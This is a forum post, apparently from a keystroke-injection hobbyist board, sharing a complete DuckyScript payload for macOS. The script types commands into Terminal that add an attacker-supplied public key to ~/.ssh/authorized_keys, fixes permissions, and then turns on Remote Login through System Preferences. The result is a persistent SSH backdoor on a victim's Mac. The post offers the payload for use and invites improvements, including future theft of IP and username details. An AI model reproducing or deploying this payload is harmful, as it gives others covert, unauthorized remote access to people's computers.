Jump to content

[Payload] OSX ssh keyless entry plus remote login enabled


ESC
 Share

Recommended Posts

This is just an addon to an older script. I added in the enabling of remote login, first i had to enable the keyboard shortcuts so that you could do that. I also create the ssh directories and the proper permissions for them. Eventually im going install the twin duck firmware and grab some ip and username info as well let me know what you think and if you can think of improvements

REM Replace 'ssh-rsa' with your public key and have fun
REM code by ESC
DELAY 1000
COMMAND SPACE
DELAY 500
STRING Terminal
DELAY 500
ENTER
DELAY 800
STRING mkdir ~/.ssh/
DELAY 30
ENTER
STRING chmod 700 ~/.ssh
DELAY 30
ENTER
STRING echo 'ssh-rsa' >> ~/.ssh/authorized_keys
DELAY 1500
ENTER
STRING chmod 600 ~/.ssh/authorized_keys
ENTER
DELAY 100
STRING killall Terminal
ENTER
CONTROL F7
COMMAND SPACE
DELAY 100
STRING remote login
DELAY 100
ENTER
DELAY 75
TAB
TAB
SPACE
COMMAND Q

Link to comment
Share on other sites

  • 1 month later...

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...